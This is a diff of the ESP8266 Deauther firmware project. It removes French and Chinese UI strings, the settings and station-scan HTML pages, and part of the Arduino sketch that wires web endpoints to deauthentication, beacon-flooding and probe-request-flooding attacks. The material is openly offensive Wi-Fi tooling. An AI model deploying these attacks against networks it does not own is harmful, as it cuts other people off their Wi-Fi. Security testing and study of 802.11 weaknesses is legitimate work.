"p1":"Réseaux trouvés:",
"p2":"MAC:",
"button2":"tout déselectionner",
"button3":"tout sélectionner",
"p3":"INFO:",
"p4":"Recharger la page si l'attente est trop longue."
},
"attack": {
"h1":"Attaques",
"p1":"Points d'acces sélectionné(s):",
"button1":"cloner",
"p2":"Station(s) sélectionnée(s)",
"button2":"Taper au hasard",
"p3":"INFO:",
"p4":"La connexion peut etre coupée pendant l'attaque.",
"p5":"Il suffit de choisir le meme channel que celui du point d'acces sélectionné dans la page des parametres pour éviter ce souci.",
"label1":"SSID",
"placeholder1":"SSID",
"label2":"Nombre de Clones",
"label3":"Chiffré",
"button3":"ajout",
"p6":"SSIDs:",
"button4":"effacer",
"button5":"au hasard",
"button6":"remise a zéro",
"button7":"enregistrer",
"p7":"enregistré",
"p8":"Désauthentification [deauthentication attack]:",
"p9":"Envoi ininterrompu de paquets de désauthentification et dissociation aux stations et points d'acces sélectionnés.",
"pa":"Balise [beacon flooding]:",
"pb":"Diffusion ininterrompue de trames balises (beacon frames) qui annoncent tous les SSIDs de la liste ci-dessous.",
"pc":"Innondation aux requête de sondage [probe request flooding]:",
"pd":"Diffusion ininterrompue de trames de requêtes de sondage avec tous les SSIDs de la liste ci-dessous."
},
"error": {
"h1":"ERREUR 404",
"p1":"Page non trouvée &macr;\\_(ツ)_/&macr;"
},
"index": {
"h1":"ATTENTION",
"p1":"Ce logiciel est prévu pour tester les failles connues du standard 802.11",
"p2":"Consultez les lois locales avant de l'utiliser.",
"p3":"Ne l'utilisez que sur votre réseau domestique et vos appareils personnels !",
"p4":"C'est votre responsabilité que vous engagez en utilisant cet outil.",
"p5":"Toutes les attaques sont enregistrées.",
"p6":"Ce projet ne s'appelle pas un \"brouilleur\" (\"jammer\"), aucune fréquence n'est brouillée !",
"p7":"Voir",
"p8":"pour plus d'informations.",
"p9":"J'ai lu et compris la notice"
},
"info": {
"h1":"Info",
"h2":"ESP8266 Deauther",
"p1":"Ce projet est sous license MIT License. Voir le ",
"a1":"fichier de licence",
"p2":"pour plus d'infos.",
"p3":"Le code source de ce projet est dispo sur",
"a2":"GitHub",
"p4":"A n'utiliser que pour tester ou s'instruire, mais toujours sur vos propres appareils !",
"p5":"Ce projet ne s'appelle pas un \"brouilleur\" (\"jammer\"), aucune fréquence n'est brouillée !",
"p6":"La liste des constructeurs d'adresses MAC est basée sur celle de Wireshark.",
"p7":"Wireshark est diffusé sous licene GNU General Public License version 2",
"p8":"Contacter",
"p9":"Si vous voulez m'aider dans mes projets, considérez l'option de devenir mon patron sur",
"pa":"Ou offrez-vous le matériel officiel de DSTIKE lié a ce projet sur"
},
"settings": {
"english":"Anglais",
"french":"Franchouillard",
"german":"Allemand",
"spanish":"Espagnol",
"italian":"Italien",
"klingon":"Klingon",
"chinese":"Chinois Simplifié",
"h1":"Parametres",
"h2":"Wi-Fi",
"label01":"SSID",
"label02":"Mot de passe",
"label03":"min.8 caracteres",
"label04":"Masquer SSID",
"label05":"gaffe avec ce parametre !",
"label06":"Channel",
"label07":"MAC",
"label08":"MAC au hasard",
"h3":"Scan de points d'acces",
"label09":"Scanner les points d'acces cachés",
"label10":"Sélectionne plusieurs SSIDs",
"h4":"Scan de stations",
"label11":"Durée du Scan",
"h5":"Attaque",
"label12":"Délai d'attente (0 = aucun)",
"label13":"Utiliser la LED",
"label14":"LED Pin",
"label15":"Intervalle d'annonce balise (par défault: 100ms)",
"label16":"Code raison de la désauthentification",
"label17":"Taux des paquets",
"label18":"provoque de l'instabilité !",
"label19":"Activer les attaques simultanées",
"label20":"Intervalle changement de MAC (utilisé par balise & sondage)",
"label21":"Danse avec les Channels",
"button1":"remise a zéro",
"button2":"redémarrer",
"button3":"enregistrer"
},
"stations": {
"h1":"Scanner les Stations Wi-Fi",
"label1":"Durée du Scan:",
"button1":"lancer",
"a1":"scan en cours...",
"p1":"Le point d'acces sera indisponible pendantle scan, et il faudra peut etre reconnecter le WiFi !",
"p2":"Stations trouvées:",
"button2":"tout déselectionner",
"button3":"tout sélectionner",
"p3":"Stations enregistrées:",
"button4":"effacer",
"p4":"Ajouter une station:",
"label2":"MAC",
"placeholder1":"AA:BB:CC:DD:EE:FF",
"label3":"Nom",
"placeholder2":"EXEMPLE",
"button5":"ajouter"
}
}
}

View File

@ -1,182 +0,0 @@
{
"jsStrings": {
"SSID":"SSID",
"RSSI":"信号强度",
"Select":"选择",
"select":"选择",
"deselect":"取消选择",
"Attack":"攻击",
"Status":"状态",
"Start/Stop":"开始/停止",
"Disable Random":"关闭 Random",
"Enable Random":"开启 Random",
"start":"开始",
"Name":"名称",
"Del.":"删除。",
"Add":"添加",
"add":"添加",
"edit":"编辑",
"set":"设置",
"SSID list full :(":"SSID列表溢出 :(",
"Error: reset the settings.":"错误:清除设置失败。",
"saving...":"保存中。。。",
"saved":"已保存",
"Name for ":"取名 ",
"Timeout loading":"载入超时",
"ABORT":"终止",
"ERROR loading":"载入时发生错误",
"JSON Parsing failed :-(":"JSON 解析失败 :-(",
"response error APScan.json":"APScan.json响应错误",
"response error APSelect.json":"APSelect.json响应错误",
"error loading attackInfo.json":"attackInfo.json响应错误",
"response error attackStart.json":"attackStart.json响应错误",
"response error settingsSave.json":"settingsSave.json响应错误",
"response error settingsReset.json":"settingsReset.json响应错误",
"Error: clear the client list.":"错误: 清除客户端列表失败.",
"reconnect and reload the site":"重新载入页面",
"response error ClientScan.json":"ClientScan.json响应错误",
"response error clientSelect.json":"clientSelect.json响应错误",
"response error clearNameList.json":"clearNameList.json响应错误",
"response error addClient.json":"addClient.json响应错误",
"response error editNameList.json":"editNameList.json响应错误",
"response error deleteName.json":"deleteName.json响应错误",
"response error addClientFromList.json":"addClientFromList.json响应错误"
},
"navStrings": {
"APs":"接入点",
"Stations":"无线终端",
"Attacks":"攻击",
"Settings":"设置",
"Info":"信息"
},
"pageStrings": {
"apscan": {
"h1":"扫描Wi-Fi接入点",
"a1":"扫描中。。。",
"button1":"扫描",
"p1":"找到的网络:",
"p2":"MAC地址",
"button2":"全不选",
"button3":"全选",
"p3":"信息:",
"p4":"您可能需要重新连接并刷新页面才能看到结果。"
},
"attack": {
"h1":"攻击",
"p1":"选择的接入点:",
"button1":"克隆",
"p2":"选择的无线终端",
"button2":"开启 Random",
"p3":"信息:",
"p4":"您可能在开启攻击后丢失与本设备的连接。",
"p5":"可以将信道设置为与选择的接入点一致以避免这种情况。",
"label1":"SSID",
"placeholder1":"SSID",
"label2":"克隆数量",
"label3":"已加密",
"button3":"添加",
"p6":"SSIDs:",
"button4":"清除",
"button5":"随机",
"button6":"重置",
"button7":"保存",
"p7":"已保存",
"p8":"Deauth [deauthentication attack]:",
"p9":"不断向所选择的站点和接入点发送去认证和关联帧以阻止其他设备的连接。",
"pa":"Beacon [beacon flooding]:",
"pb":"不断地广播在下面的列表中所有的SSID",
"pc":"Probe-Request [probe request flooding]:",
"pd":"不间断地播放下面的列表中所有的SSID的探测请求帧."
},
"error": {
"h1":"错误 404",
"p1":"页面找不到了 &macr;\\_(ツ)_/&macr;"
},
"index": {
"h1":"警告",
"p1":"该软件用于测试802.11标准中的常见漏洞。",
"p2":"使用前请知悉您所在国家/地区的法律。",
"p3":"您仅可在您自己的网络和设备上使用!",
"p4":"您需要对使用此软件所做的一切负责。",
"p5":"本设备将记录对任何网络或设备的每次攻击。",
"p6":"请不要把这个项目称为“干扰器”,它不会阻塞任何频率! ",
"p7":"转到",
"p8":"查看更多信息。",
"p9":"我已阅读并理解上述警告。"
},
"info": {
"h1":"信息",
"h2":"ESP8266 Deauther",
"p1":"这个项目基于MIT许可详见",
"a1":"许可文件",
"p2":"。",
"p3":"查看源文件",
"a2":"GitHub",
"p4":"此程序仅用于针对您自己的设备的测试或教育目的!",
"p5":"请不要把这个项目称为“干扰器”,它不会阻塞任何频率!",
"p6":"MAC地址列表基于Wireshark数据库.",
"p7":"Wireshark基于GNU(GNU General Public License version 2)发布",
"p8":"联系我们",
"p9":"如果您愿意帮助我们, 您可以考虑资助我们:",
"pa":"或者从DSTIKE购买这个项目的官方硬件"
},
"settings": {
"locale":"语言切换",
"english":"English",
"french":"French",
"german":"German",
"spanish":"Spanish",
"italian":"Italian",
"klingon":"Klingon",
"chinese":"简体中文",
"h1":"设置",
"h2":"Wi-Fi",
"label01":"SSID",
"label02":"密码",
"label03":"至少8个字符",
"label04":"隐藏SSID",
"label05":"谨慎选择此项!",
"label06":"信道",
"label07":"MAC",
"label08":"随机MAC",
"h3":"接入点扫描",
"label09":"扫描隐藏的接入点",
"label10":"选择多个SSID",
"h4":"无线终端扫描",
"label11":"默认扫描时间",
"h5":"攻击",
"label12":"超时设置 (0 = 不设置超时)",
"label13":"使用指示灯",
"label14":"指示灯针脚(Pin)",
"label15":"Beacon攻击间隔1秒 (default: 100ms)",
"label16":"Deauth 错误码",
"label17":"包速率",
"label18":"可能导致不稳定!",
"label19":"启用并发攻击",
"label20":"MAC更换间隔 (仅用于 beacons & probes)",
"label21":"信道跳跃",
"button1":"重置",
"button2":"重新启动",
"button3":"保存"
},
"stations": {
"h1":"扫描Wi-Fi无限终端",
"label1":"扫描时间:",
"button1":"开始",
"a1":"扫描中。。。",
"p1":"开始扫描后可能丢失与本设备的连接,您可能需要重新进行连接并重新刷新页面。",
"p2":"找到的终端: ",
"button2":"全不选",
"button3":"全选",
"p3":"保存的终端:",
"button4":"清除",
"p4":"添加终端:",
"label2":"MAC",
"placeholder1":"AA:BB:CC:DD:EE:FF",
"label3":"名称",
"placeholder2":"示例名称",
"button5":"添加"
}
}
}

View File

@ -1,263 +0,0 @@
<!Doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui">
<meta name="description" content="Wi-Fi Deauthenticator">
<meta name="author" content="Spacehuhn - Stefan Kremser">
<meta name="theme-color" content="#36393E" />
<title>ESP8266 Deauther</title>
<link rel="stylesheet" href="style.css">
<script src="js/functions.js"></script>
</head>
<body>
<nav>
<a href="apscan.html">{APs}</a>
<a href="stations.html">{Stations}</a>
<a href="attack.html">{Attacks}</a>
<a href="settings.html">{Settings}</a>
<a class="right" href="info.html">{Info}</a>
</nav>
<div class="container">
<div class="row">
<div class="col-12">
<div id="error" class="hide"></div>
<h1 class="header">{h1}</h1>
<h2>{locale}</h2>
</div>
</div>
<div class="row">
<div class="col-12">
<span class="flag" data-lang="en">{english}</span>
<span class="flag" data-lang="fr">{french}</span>
<span class="flag" data-lang="zh-CN">{chinese}</span>
<!--
<span class="flag" data-lang="de">{german}</span>
<span class="flag" data-lang="es">{spanish}</span>
<span class="flag" data-lang="it">{italian}</span>
<span class="flag" data-lang="kl">{klingon}</span>
-->
</div>
</div>
<div class="row">
<div class="col-12">
<h2>{h2}</h2>
</div>
</div>
<div class="row">
<div class="col-6">
<label for="ssid" class="labelFix">{label01}</label>
</div>
<div class="col-6">
<input type="text" id="ssid" minlength="1" maxlength="32">
</div>
</div>
<div class="row">
<div class="col-6">
<label for="password" class="labelFix">{label02} (<span class="red">{label03}</span>)</label>
</div>
<div class="col-6">
<input type="text" id="password" minlength="8" maxlength="32">
</div>
</div>
<div class="row">
<div class="col-6">
<label for="ssidHidden">{label04} (<span class="red">{label05}</span>)</label>
</div>
<div class="col-6">
<input type="checkbox" name="ssidHidden" id="ssidHidden" value="false">
</div>
</div>
<div class="row">
<div class="col-6">
<label for="apChannel" class="labelFix">{label06}</label>
</div>
<div class="col-6">
<input type="number" id="apChannel" min="1" max="14">
</div>
</div>
<div class="row">
<div class="col-6">
<label for="apChannel" class="labelFix">{label07}</label>
</div>
<div class="col-6">
<input type="text" id="macAp" min="1" max="14">
</div>
</div>
<div class="row">
<div class="col-6">
<label for="randMacAp" class="labelFix">{label08}</label>
</div>
<div class="col-6">
<input type="checkbox" name="randMacAp" id="randMacAp" value="false">
</div>
</div>
<div class="row">
<div class="col-12">
<h2>{h3}</h2>
</div>
</div>
<div class="row">
<div class="col-6">
<label for="apScanHidden">{label09}</label>
</div>
<div class="col-6">
<input type="checkbox" name="apScanHidden" id="apScanHidden" value="false">
</div>
</div>
<div class="row">
<div class="col-6">
<label for="multiAPs">{label10}</label>
</div>
<div class="col-6">
<input type="checkbox" name="multiAPs" id="multiAPs" value="false">
</div>
</div>
<div class="row">
<div class="col-12">
<h2>{h4}</h2>
</div>
</div>
<div class="row">
<div class="col-6">
<label for="scanTime" class="labelFix">{label11}</label>
</div>
<div class="col-6">
<input type="number" id="scanTime" min="1" max="255"> s
</div>
</div>
<div class="row">
<div class="col-12">
<h2>{h5}</h2>
</div>
</div>
<div class="row">
<div class="col-6">
<label for="timeout" class="labelFix">{label12}</label>
</div>
<div class="col-6">
<input type="number" id="timeout" min="-1" max="65536"> s
</div>
</div>
<div class="row">
<div class="col-6">
<label for="useLed">{label13}</label>
</div>
<div class="col-6">
<input type="checkbox" id="useLed" value="false">
</div>
</div>
<div class="row">
<div class="col-6">
<label for="ledPin" class="labelFix">{label14}</label>
</div>
<div class="col-6">
<input type="number" id="ledPin" min="0" max="18">
</div>
</div>
<div class="row">
<div class="col-6">
<label for="beaconInterval">{label15}</label>
</div>
<div class="col-6">
<input type="checkbox" id="beaconInterval" value="false">
</div>
</div>
<div class="row">
<div class="col-6">
<label for="deauthReason" class="labelFix">{label16}e</label>
</div>
<div class="col-6">
<input type="number" id="deauthReason" min="1" max="45">
</div>
</div>
<div class="row">
<div class="col-6">
<label for="packetRate" class="labelFix">{label17} (<span class="red">{label18}</span>)</label>
</div>
<div class="col-6">
<input type="number" id="packetRate" min="1" max="50"> pkts/s
</div>
</div>
<div class="row">
<div class="col-6">
<label for="multiAttacks">{label19}</label>
</div>
<div class="col-6">
<input type="checkbox" id="multiAttacks" value="false">
</div>
</div>
<div class="row">
<div class="col-6">
<label for="macInterval" class="labelFix">{label20}</label>
</div>
<div class="col-6">
<input type="number" id="macInterval" min="0" max="65000">s
</div>
</div>
<!--
<div class="row">
<div class="col-6">
<label for="channelHop">{label21}</label>
</div>
<div class="col-6">
<input type="checkbox" name="channelHop" id="channelHop" value="false">
</div>
</div>
-->
<div class="row">
<div class="col-12">
<br />
<button class="red" onclick="resetSettings()">reset</button>
<button class="red" onclick="restart()">restart</button>
<button class="button-primary right" onclick="saveSettings()">save</button>
<br class="clear" />
<p id="saved"></p>
<br class="clear" />
<div id="copyright">
Version 1.6<br />
Copyright (c) 2017 Stefan Kremser<br />
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a>
</div>
</div>
</div>
</div>
<script src="js/l10n.js" async defer></script>
<script data-src="js/settings.js"></script>
</body>
</html>

View File

@ -1,91 +0,0 @@
<!Doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui">
<meta name="description" content="Wi-Fi Deauthenticator">
<meta name="author" content="Spacehuhn - Stefan Kremser">
<meta name="theme-color" content="#36393E" />
<title>ESP8266 Deauther</title>
<link rel="stylesheet" href="style.css">
<script src="js/functions.js"></script>
</head>
<body>
<nav>
<a href="apscan.html">{APs}</a>
<a href="stations.html">{Stations}</a>
<a href="attack.html">{Attacks}</a>
<a href="settings.html">{Settings}</a>
<a class="right" href="info.html">{Info}</a>
</nav>
<div class="container">
<div class="row">
<div class="col-12">
<div id="error" class="hide"></div>
<h1 class="header">{h1}</h1>
<label>{label1}
<input type="number" id="scanTime" value="10">s
</label>
<button onclick="scan()" id="startScan" class="right button-primary">{button1}</button>
<a id="clientScanStatus"><br />{a1}</a>
<p class="red">{p1}</p>
<p>
{p2} <span id="clientsFound">0</span><br />
<br />
<button class="marginNull button-primary left" onclick="select(-2)">{button2}</button>
<button class="marginNull button-primary right" onclick="select(-1)">{button3}</button><br />
</p>
<table></table>
<p class="block bold" >
{p3} <span id="clientNames"></span>
</p>
<table id="nameList"></table>
<button class="red left" onclick="clearNameList()">{button4}</button>
<p>
<br class="clear" />
<br />
{p4}
</p>
</div>
</div>
<div class="row">
<div class="col-4">
<label>{label2} <input type="text" placeholder="{placeholder1}" id="cMac" /></label>
</div>
<div class="col-4">
<label>{label3} <input type="text" placeholder="{placeholder2}" id="cName" /></label>
</div>
<div class="col-4">
<button class="button-primary" style="width: 100%" onclick="addClient()">{button5}</button>
</div>
</div>
<div class="row">
<div class="col-12">
<div id="copyright">
Version 1.6<br />
Copyright (c) 2017 Stefan Kremser<br />
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a>
</div>
</div>
</div>
</div>
<script src="js/l10n.js" async defer></script>
<script data-src="js/stations.js"></script>
</body>
</html>

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -1,652 +1,171 @@
/*
/*
===========================================
Copyright (c) 2017 Stefan Kremser
Copyright (c) 2018 Stefan Kremser
github.com/spacehuhn
===========================================
*/
// Including some libraries we need //
#include <Arduino.h>
#include <ESP8266WiFi.h>
#include <ESP8266WebServer.h>
#include <FS.h>
// Settings //
#define USE_DISPLAY /* <-- uncomment that if you want to use the display */
#define resetPin 4 /* <-- comment out or change if you need GPIO 4 for other purposes */
#define USE_LED16 /* <-- for the Pocket ESP8266 which has a LED on GPIO 16 to indicate if it's running */
// Including everything for the OLED //
#ifdef USE_DISPLAY
#include <Wire.h>
//include the library you need
#include "SSD1306.h"
#include "SH1106.h"
//create display(Adr, SDA-pin, SCL-pin)
//SSD1306 display(0x3c, 5, 4); //GPIO 5 = D1, GPIO 4 = D2
SH1106 display(0x3c, 5, 4);
#include "screensaver.h"
//button pins
#define upBtn 12 //GPIO 12 = D6
#define downBtn 13 //GPIO 13 = D7
#define selectBtn 14 //GPIO 14 = D5
#define displayBtn 0 //GPIO 0 = FLASH BUTTON
//render settings
#define fontSize 8
#define rowsPerSite 8
int rows = 4;
int curRow = 0;
int sites = 1;
int curSite = 1;
int lrow = 0;
int menu = 0; //0 = Main Menu, 1 = APs, 2 = Stations, 3 = Attacks, 4 = Monitor
bool canBtnPress = true;
int buttonPressed = 0; //0 = UP, 1 = DOWN, 2 = SELECT, 3 = DISPLAY
bool displayOn = true;
#endif
// More Includes! //
extern "C" {
#include "user_interface.h"
}
ESP8266WebServer server(80);
#include <EEPROM.h>
#include "data.h"
#include "NameList.h"
#include "APScan.h"
#include "ClientScan.h"
#include "Attack.h"
#include "oui.h"
#include "language.h"
#include "functions.h"
#include "Settings.h"
#include "SSIDList.h"
#include "Names.h"
#include "SSIDs.h"
#include "Scan.h"
#include "Attack.h"
#include "SerialInterface.h"
#include "DisplayUI.h"
#include "DigitalLed.h"
#include "RGBLed.h"
#include "Neopixel.h"
#include "A_config.h"
#include "webfiles.h"
/* ========== DEBUG ========== */
const bool debug = true;
/* ========== DEBUG ========== */
#ifdef DIGITAL_LED
DigitalLed led;
#endif
#ifdef RGB_LED
RGBLed led;
#endif
#ifdef NEOPIXEL_LED
Neopixel led;
#endif
// Run-Time Variables //
String wifiMode = "";
String attackMode_deauth = "";
String attackMode_beacon = "";
String scanMode = "SCAN";
bool warning = true;
NameList nameList;
APScan apScan;
ClientScan clientScan;
Attack attack;
Settings settings;
SSIDList ssidList;
Names names;
SSIDs ssids;
Accesspoints accesspoints;
Stations stations;
Scan scan;
Attack attack;
SerialInterface serialInterface;
DisplayUI displayUI;
void sniffer(uint8_t *buf, uint16_t len) {
clientScan.packetSniffer(buf, len);
}
#include "wifi.h"
#ifdef USE_DISPLAY
void drawInterface() {
if(displayOn){
display.clear();
uint32_t autosaveTime = 0;
uint32_t currentTime = 0;
int _lrow = 0;
for (int i = curSite * rowsPerSite - rowsPerSite; i < curSite * rowsPerSite; i++) {
if (i == 0) display.drawString(3, i * fontSize, "-> WiFi " + wifiMode);
else if (i == 1) display.drawString(3, i * fontSize, "-> " + scanMode);
else if (i == 2) display.drawString(3, i * fontSize, "-> " + attackMode_deauth + " deauth");
else if (i == 3) display.drawString(3, i * fontSize, "-> " + attackMode_beacon + " beacon flood");
else if (i - 4 < apScan.results) {
display.drawString(4, _lrow * fontSize, apScan.getAPName(i - 4));
if (apScan.isSelected(i - 4)) {
display.drawVerticalLine(1, _lrow * fontSize, fontSize);
display.drawVerticalLine(2, _lrow * fontSize, fontSize);
}
}
if (_lrow == lrow) display.drawVerticalLine(0, _lrow * fontSize, fontSize);
_lrow++;
}
display.display();
}
}
#endif
void startWifi() {
Serial.println("\nStarting WiFi AP:");
WiFi.mode(WIFI_STA);
wifi_set_promiscuous_rx_cb(sniffer);
WiFi.softAP((const char*)settings.ssid.c_str(), (const char*)settings.password.c_str(), settings.apChannel, settings.ssidHidden); //for an open network without a password change to: WiFi.softAP(ssid);
Serial.println("SSID : '" + settings.ssid+"'");
Serial.println("Password : '" + settings.password+"'");
Serial.println("-----------------------------------------------");
if (settings.password.length() < 8) Serial.println("WARNING: password must have at least 8 characters!");
if (settings.ssid.length() < 1 || settings.ssid.length() > 32) Serial.println("WARNING: SSID length must be between 1 and 32 characters!");
wifiMode = "ON";
}
void stopWifi() {
Serial.println("stopping WiFi AP");
Serial.println("-----------------------------------------------");
WiFi.disconnect();
wifi_set_opmode(STATION_MODE);
wifiMode = "OFF";
}
void load404() {
if(loadFromFlash(server.uri())) return;
sendSPIFFSFile("/error.html", "text/html");
}
void startWiFi(bool start) {
if (start) startWifi();
else stopWifi();
clientScan.clearList();
}
//==========AP-Scan==========
void startAPScan() {
scanMode = "scanning...";
#ifdef USE_DISPLAY
drawInterface();
#endif
if (apScan.start()) {
#ifdef USE_DISPLAY
apScan.sort();
rows = 4;
rows += apScan.results;
sites = rows / rowsPerSite;
if (rows % rowsPerSite > 0) sites++;
#endif
server.send ( 200, "text/json", "true");
attack.stopAll();
scanMode = "SCAN";
}
}
void sendAPResults() {
apScan.sendResults();
}
void selectAP() {
if (server.hasArg("num")) {
apScan.select(server.arg("num").toInt());
server.send( 200, "text/json", "true");
attack.stopAll();
}
}
//==========Client-Scan==========
void startClientScan() {
if (server.hasArg("time") && apScan.getFirstTarget() > -1 && !clientScan.sniffing) {
server.send(200, "text/json", "true");
clientScan.start(server.arg("time").toInt());
attack.stopAll();
} else server.send( 200, "text/json", "Error: no selected access point");
}
void sendClientResults() {
clientScan.send();
}
void sendClientScanTime() {
server.send( 200, "text/json", (String)settings.clientScanTime );
}
void selectClient() {
if (server.hasArg("num")) {
clientScan.select(server.arg("num").toInt());
attack.stop(0);
server.send( 200, "text/json", "true");
}
}
void addClientFromList(){
if(server.hasArg("num")) {
int _num = server.arg("num").toInt();
clientScan.add(nameList.getMac(_num));
server.send( 200, "text/json", "true");
}else server.send( 200, "text/json", "false");
}
void setClientName() {
if (server.hasArg("id") && server.hasArg("name")) {
if(server.arg("name").length()>0){
nameList.add(clientScan.getClientMac(server.arg("id").toInt()), server.arg("name"));
server.send( 200, "text/json", "true");
}
else server.send( 200, "text/json", "false");
}
}
void deleteName() {
if (server.hasArg("num")) {
int _num = server.arg("num").toInt();
nameList.remove(_num);
server.send( 200, "text/json", "true");
}else server.send( 200, "text/json", "false");
}
void clearNameList() {
nameList.clear();
server.send( 200, "text/json", "true" );
}
void editClientName() {
if (server.hasArg("id") && server.hasArg("name")) {
nameList.edit(server.arg("id").toInt(), server.arg("name"));
server.send( 200, "text/json", "true");
}else server.send( 200, "text/json", "false");
}
void addClient(){
if(server.hasArg("mac") && server.hasArg("name")){
String macStr = server.arg("mac");
macStr.replace(":","");
Serial.println("add "+macStr+" - "+server.arg("name"));
if(macStr.length() < 12 || macStr.length() > 12) server.send( 200, "text/json", "false");
else{
Mac _newClient;
for(int i=0;i<6;i++){
const char* val = macStr.substring(i*2,i*2+2).c_str();
uint8_t valByte = strtoul(val, NULL, 16);
Serial.print(valByte,HEX);
Serial.print(":");
_newClient.setAt(valByte,i);
}
Serial.println();
nameList.add(_newClient,server.arg("name"));
server.send( 200, "text/json", "true");
}
}
}
//==========Attack==========
void sendAttackInfo() {
attack.sendResults();
}
void startAttack() {
if (server.hasArg("num")) {
int _attackNum = server.arg("num").toInt();
if (apScan.getFirstTarget() > -1 || _attackNum == 1 || _attackNum == 2) {
attack.start(server.arg("num").toInt());
server.send ( 200, "text/json", "true");
} else server.send( 200, "text/json", "false");
}
}
void addSSID() {
if(server.hasArg("ssid") && server.hasArg("num") && server.hasArg("enc")){
int num = server.arg("num").toInt();
if(num > 0){
ssidList.addClone(server.arg("ssid"),num, server.arg("enc") == "true");
}else{
ssidList.add(server.arg("ssid"), server.arg("enc") == "true" || server.arg("enc") == "1");
}
attack.ssidChange = true;
server.send( 200, "text/json", "true");
}else server.send( 200, "text/json", "false");
}
void cloneSelected(){
if(apScan.selectedSum > 0){
int clonesPerSSID = 48/apScan.selectedSum;
ssidList.clear();
for(int i=0;i<apScan.results;i++){
if(apScan.isSelected(i)){
ssidList.addClone(apScan.getAPName(i),clonesPerSSID, apScan.getAPEncryption(i) != "none");
}
}
}
attack.ssidChange = true;
server.send( 200, "text/json", "true");
}
void deleteSSID() {
ssidList.remove(server.arg("num").toInt());
attack.ssidChange = true;
server.send( 200, "text/json", "true");
}
void randomSSID() {
ssidList._random();
attack.ssidChange = true;
server.send( 200, "text/json", "true");
}
void clearSSID() {
ssidList.clear();
attack.ssidChange = true;
server.send( 200, "text/json", "true");
}
void resetSSID() {
ssidList.load();
attack.ssidChange = true;
server.send( 200, "text/json", "true");
}
void saveSSID() {
ssidList.save();
server.send( 200, "text/json", "true");
}
void restartESP() {
server.send( 200, "text/json", "true");
ESP.reset();
}
void enableRandom(){
attack.changeRandom(server.arg("interval").toInt());
server.send( 200, "text/json", "true");
}
//==========Settings==========
void getSettings() {
settings.send();
}
void saveSettings() {
if (server.hasArg("ssid")) settings.ssid = server.arg("ssid");
if (server.hasArg("ssidHidden")) {
if (server.arg("ssidHidden") == "false") settings.ssidHidden = false;
else settings.ssidHidden = true;
}
if (server.hasArg("password")) settings.password = server.arg("password");
if (server.hasArg("apChannel")) {
if (server.arg("apChannel").toInt() >= 1 && server.arg("apChannel").toInt() <= 14) {
settings.apChannel = server.arg("apChannel").toInt();
}
}
if (server.hasArg("macAp")) {
String macStr = server.arg("macAp");
macStr.replace(":","");
Mac tempMac;
if(macStr.length() == 12){
for(int i=0;i<6;i++){
const char* val = macStr.substring(i*2,i*2+2).c_str();
uint8_t valByte = strtoul(val, NULL, 16);
tempMac.setAt(valByte,i);
}
if(tempMac.valid()) settings.macAP.set(tempMac);
} else if(macStr.length() == 0){
settings.macAP.set(settings.defaultMacAP);
}
}
if (server.hasArg("randMacAp")) {
if (server.arg("randMacAp") == "false") settings.isMacAPRand = false;
else settings.isMacAPRand = true;
}
if (server.hasArg("scanTime")) settings.clientScanTime = server.arg("scanTime").toInt();
if (server.hasArg("timeout")) settings.attackTimeout = server.arg("timeout").toInt();
if (server.hasArg("deauthReason")) settings.deauthReason = server.arg("deauthReason").toInt();
if (server.hasArg("packetRate")) settings.attackPacketRate = server.arg("packetRate").toInt();
if (server.hasArg("apScanHidden")) {
if (server.arg("apScanHidden") == "false") settings.apScanHidden = false;
else settings.apScanHidden = true;
}
if (server.hasArg("beaconInterval")) {
if (server.arg("beaconInterval") == "false") settings.beaconInterval = false;
else settings.beaconInterval = true;
}
if (server.hasArg("useLed")) {
if (server.arg("useLed") == "false") settings.useLed = false;
else settings.useLed = true;
attack.refreshLed();
}
if (server.hasArg("channelHop")) {
if (server.arg("channelHop") == "false") settings.channelHop = false;
else settings.channelHop = true;
}
if (server.hasArg("multiAPs")) {
if (server.arg("multiAPs") == "false") settings.multiAPs = false;
else settings.multiAPs = true;
}
if (server.hasArg("multiAttacks")) {
if (server.arg("multiAttacks") == "false") settings.multiAttacks = false;
else settings.multiAttacks = true;
}
if (server.hasArg("ledPin")) settings.setLedPin(server.arg("ledPin").toInt());
if(server.hasArg("macInterval")) settings.macInterval = server.arg("macInterval").toInt();
settings.save();
server.send( 200, "text/json", "true" );
}
void resetSettings() {
settings.reset();
server.send( 200, "text/json", "true" );
}
bool booted = false;
void setup() {
// "fix" for RGB LEDs
analogWriteRange(0xff);
// for random generator
randomSeed(os_random());
#ifdef USE_LED16
pinMode(16, OUTPUT);
digitalWrite(16, LOW);
#endif
// start serial
Serial.begin(115200);
attackMode_deauth = "START";
attackMode_beacon = "START";
Serial.println();
// start SPIFFS
prnt(SETUP_MOUNT_SPIFFS);
prntln(SPIFFS.begin() ? SETUP_OK : SETUP_ERROR);
// Start EEPROM
EEPROM.begin(4096);
SPIFFS.begin();
settings.load();
if (debug) settings.info();
settings.syncMacInterface();
nameList.load();
ssidList.load();
attack.refreshLed();
delay(500); // Prevent bssid leak
startWifi();
attack.stopAll();
attack.generate();
/* ========== Web Server ========== */
/* HTML, css, js, json, juste serve everything on the flash */
server.onNotFound(load404);
/* JSON */
server.on("/APScanResults.json", sendAPResults);
server.on("/APScan.json", startAPScan);
server.on("/APSelect.json", selectAP);
server.on("/ClientScan.json", startClientScan);
server.on("/ClientScanResults.json", sendClientResults);
server.on("/ClientScanTime.json", sendClientScanTime);
server.on("/clientSelect.json", selectClient);
server.on("/setName.json", setClientName);
server.on("/addClientFromList.json", addClientFromList);
server.on("/attackInfo.json", sendAttackInfo);
server.on("/attackStart.json", startAttack);
server.on("/settings.json", getSettings);
server.on("/settingsSave.json", saveSettings);
server.on("/settingsReset.json", resetSettings);
server.on("/deleteName.json", deleteName);
server.on("/clearNameList.json", clearNameList);
server.on("/editNameList.json", editClientName);
server.on("/addSSID.json", addSSID);
server.on("/cloneSelected.json", cloneSelected);
server.on("/deleteSSID.json", deleteSSID);
server.on("/randomSSID.json", randomSSID);
